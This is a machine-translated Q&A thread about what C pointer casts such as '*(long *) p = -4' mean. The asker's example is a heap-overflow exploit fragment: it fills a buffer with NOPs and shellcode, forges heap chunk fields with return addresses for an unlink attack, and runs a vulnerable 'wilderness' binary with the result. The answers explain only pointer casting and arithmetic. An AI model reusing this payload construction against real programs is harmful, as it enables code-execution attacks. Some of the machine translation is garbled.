关于C#:指向一个铸造指针的指针?

Pointer to a casted Pointer?

在C语言中,我遇到了指向投射指针的指针(不确定这是正确的术语),例如:

*(long*)p=10;我一辈子都无法理解它的含义,或另一个例子:

*(void*)空,或者*(char*)0;我只是不能把我的头绕在上面,有人能给我解释一下这个问题,把我从部分脑损伤中拯救出来吗?:)

谢谢

(P.S.下面给出了这种用法的示例)

int main(int argc, char *argv[]) {
char *p, *payload = (char *) malloc(1052);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p,"\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness","./wilderness", payload, NULL); }

首先,分解声明:

1
2
3
  long *q = (long*)p;
  *q = 10;
  p += 4;

p参数是char*类型,一次只能通过该指针读或写1个字节。强制转换到long*创建一个指针,通过该指针,您可以一次从同一地址读或写4个字节。该分配写入字节0x00、0x00、0x00、0x0A。与以下内容相同:

1
2
3
4
5
6
7
  *p = 10;
  p++;
  *p = 0;
  p++;
  *p = 0;
  p++;
  *p = 0;

取决于字节顺序。分配之后,P需要增加4,因为写入了4个字节。

这种技巧在包含非字节数据的字节缓冲区中非常常见。


1
*(long *) p = -4;

意思是:p是一个"指向一个长的指针",我正试图将该值赋给引用的内存。我们这样做是因为最初我们说p是一个char指针,我们希望在访问时更改它的行为。


代码板.org/iz2tsdfa

此代码将四个字节的数据写入内存中的地址零。这是不常见或公认的做法,不适用于一般基础。换句话说:黑色魔法。

我猜它会触发某种处理器中断。

我建议你学习程序集/计算机体系结构如果你想理解的话,这段代码的目标是什么。


将*放在(long*)之前称为"取消引用"指针。正如@graywizardx所说,这意味着您正在修改指针指向的内存值。


当您理解示例代码背后的动机时,您可能会更轻松。

代码正在处理4个字节的值,这就是为什么p被转换为long *的原因。构造* (long *) p = -4;允许您通过单个分配将4个字节设置为0xFFFFFFFC。如果您将p作为char *离开,则需要四个单独的任务,并且还需要担心平台的终结性。

那么,为什么不首先简单地将p声明为long *?因为代码使用指针算法来计算目标地址:p += sizeof(shellcode) + 64 - 4;指针算法对于char *很容易,因为向指针添加1将使其前进到下一个字节,正如您所期望的那样。其他数据类型的指针不是这样的!如果p被宣布为long *p;,那么p += 4p上加4*sizeof(long)

为什么?因为这样便于遍历long变量列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
long sum_of_longs(long vals[], int num)  { // 'vals[]' contains 'num' long ints.
   long *p;                                // This pointer traverses the array.
   long sum;                               // Running total.

   // Initialize 'p' to the first number in 'vals[]' and
   // increment through the array until 'num' reaches 0.
   //
   // Note that 'p' increases by 4 bytes each time in order
   // to advance to the next long.
   for (sum=0, p=vals;  num > 0;  p++, num--)
      sum += *p;

   return sum;
}

因此,在您的示例中,将p定义为char *,可以很容易地按字节进行指针算术,并将其转换为long *,使分配更容易。


它是基于指针类型的指针算法,即当您增加cptr++时,它的char*cptr或int*nptr将移动一个字节,而nptr++将移动4个字节(assumimg char将移动一个字节,int将移动4个字节)。


第一颗星实际上是对铸造指针的解引用。因此,*(long*)p=10表示将p强制转换为指向long的指针,并将-4分配给未引用的位置。将您的示例与*P=10进行比较。